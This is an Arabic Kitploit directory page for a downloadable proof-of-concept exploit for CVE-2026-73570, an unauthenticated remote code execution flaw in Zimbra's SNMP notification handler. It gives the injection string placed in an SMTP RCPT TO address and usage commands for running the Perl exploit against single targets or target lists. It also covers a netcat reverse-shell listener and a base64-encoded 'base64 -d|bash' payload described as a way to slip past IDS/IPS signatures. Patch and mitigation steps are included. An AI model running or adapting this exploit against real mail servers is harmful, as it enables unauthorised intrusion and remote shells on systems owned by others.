Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-73570 — # حقن أوامر نظام التشغيل عبر إشعارات SNMP في Zimbra — استغلال RCE غير مصادق عبر SMTP (PoC) | Kitploit
أدوات/GitHubGitHub/gabrielunknown/cve-2026-73570
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرأداة الوصول عن بعد
GitHubgabrielunknown/cve-2026-73570

CVE-2026-73570

# حقن أوامر نظام التشغيل عبر إشعارات SNMP في Zimbra — استغلال RCE غير مصادق عبر SMTP (PoC)

عرض المستودع
4192منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-73570 — استغلال RCE عبر إشعارات SNMP في Zimbra ZCS (PoC)

تنفيذ تعليمات برمجية عن بُعد دون مصادقة عبر حقن أوامر نظام التشغيل في معالج إشعارات SNMP الخاص بـ Zimbra Collaboration Suite.


نظرة عامة

الحقلالقيمة
CVECVE-2026-73570
CVSS 3.18.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
CWECWE-78 — التحييد غير السليم للعناصر الخاصة المستخدمة في أمر نظام التشغيل
المتأثرZimbra ZCS < 10.1.20 (مع تثبيت zimbra-snmp)
تم إصلاحه فيZCS 10.1.20 — يوليو 2026
CISA KEVأُضيف في 2026-08-21 (الموعد النهائي للمعالجة في FCEB: 2026-08-24)
المصادقة المطلوبةلا شيء
التنفيذ بصفةمستخدم نظام التشغيل zimbra

السبب الجذري

تتضمن حزمة zimbra-snmp الاختيارية قاعدة swatchdog تقوم بتتبّع /var/log/zimbra.log بحثًا عن أسطر مطابقة لـ:

Service status change: <NAME> changed from <STATE> to <STATE>

عند العثور على تطابق، يمرر swatchdog حقل <NAME> الملتقط مباشرةً إلى سكربت shell لإشعارات SNMP دون أي تنقية.

يمكن لمهاجم غير مصادَق عليه حقن إدخال سجل مصمم خصيصًا عبر إرسال أمر SMTP RCPT TO مُشكَّل بشكل خاص. باستخدام quoted local-part وفق RFC 5321، تُضمَّن محارف shell الوصفية — مثل $(...) — داخل <NAME> وتُنفَّذ عندما يعالج swatchdog سطر السجل الناتج.


الشروط المسبقة

يجب أن تتحقق الشروط الثلاثة جميعها على الهدف لكي تكون الثغرة قابلة للاستغلال:

  • حزمة zimbra-snmp مثبَّتة
  • إشعارات SNMP مفعَّلة (snmp_notify = true)
  • خدمة swatchdog قيد التشغيل

مسار الهجوم

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘
  1. اتصل بالمنفذ 25 / 465 / 587.
  2. أرسل محادثة SMTP قياسية باستخدام RCPT TO المُسلَّح.
  3. يسجّل Zimbra بيانات العنوان بغض النظر عن القبول/الرفض.
  4. يطابق swatchdog نمط السجل ويستخرج $(CMD) المحقون.
  5. ينفّذ معالج SNMP الأمر CMD بصفته مستخدم نظام zimbra.

الاستغلال

المتطلبات

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

أو عبر apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

أو عبر yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

هدف واحد

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

قائمة الأهداف

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — مضيف واحد في كل سطر، مع :port اختياري، ويتم تجاهل الأسطر التي تبدأ بـ #:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

جميع الخيارات

العلمالطويلالافتراضيالوصف
-H--host—اسم مضيف أو عنوان IP هدف واحد
-f--file—ملف يحتوي على قائمة الأهداف
-p--port587منفذ SMTP الافتراضي
-r--rhost—عنوان IP الخاص بك لاستدعاء الصدفة العكسية
-R--rport4444منفذ الاستماع
-t--timeout15مهلة المقبس بالثواني
-S--sslمعطّلTLS مباشر (يُفعَّل تلقائيًا على المنفذ 465)
-v--verboseمعطّلطباعة حوار SMTP الكامل
-L--logfile—كتابة سجل الجلسة إلى ملف
-h--help—عرض المساعدة

مثال كامل

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

تقنية الحمولة

يتم ترميز أمر الصدفة العكسية بـ base64 قبل الحقن:

echo <b64>|base64 -d|bash

يمنع هذا أنظمة كشف/منع التسلل (IDS/IPS) من مطابقة التوقيعات النصية الصريحة مثل /dev/tcp أو bash -i أو nc -e. تُحقن الكتلة المُرمَّزة كـ $(...) داخل الجزء المحلي المُقتبس من RCPT TO، مما يُفعّل التنفيذ على جانب الخادم عندما يعالج swatchdog إدخال السجل.


التخفيف

الإجراءالتفصيل
التصحيحالترقية إلى Zimbra ZCS ≥ 10.1.20
تعطيل إشعار SNMPzmprov mcf zimbraSnmpNotifyEnabled FALSE && zmconfigdctl restart
إزالة الحزمةapt remove zimbra-snmp / yum remove zimbra-snmp
ضوابط الشبكةتقييد SMTP الوارد (25/465/587) على المرحّلات الموثوقة حيثما كان ذلك ممكنًا عمليًا

المراجع

  • NVD — CVE-2026-73570
  • Zimbra Security Advisories
  • CISA Known Exploited Vulnerabilities — CVE-2026-73570
  • CERT.pl advisory
  • BiuTrap/CVE-2026-73570

إخلاء المسؤولية

يُصدر هذا النموذج الأولي (proof-of-concept) لأغراض اختبار الأمان المصرّح به، والبحث الأكاديمي، والأغراض الدفاعية فقط.
تشغيله ضد أنظمة لا تملكها أو تفتقر إلى إذن كتابي صريح لاختبارها غير قانوني.
لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.


تنزيل الأداة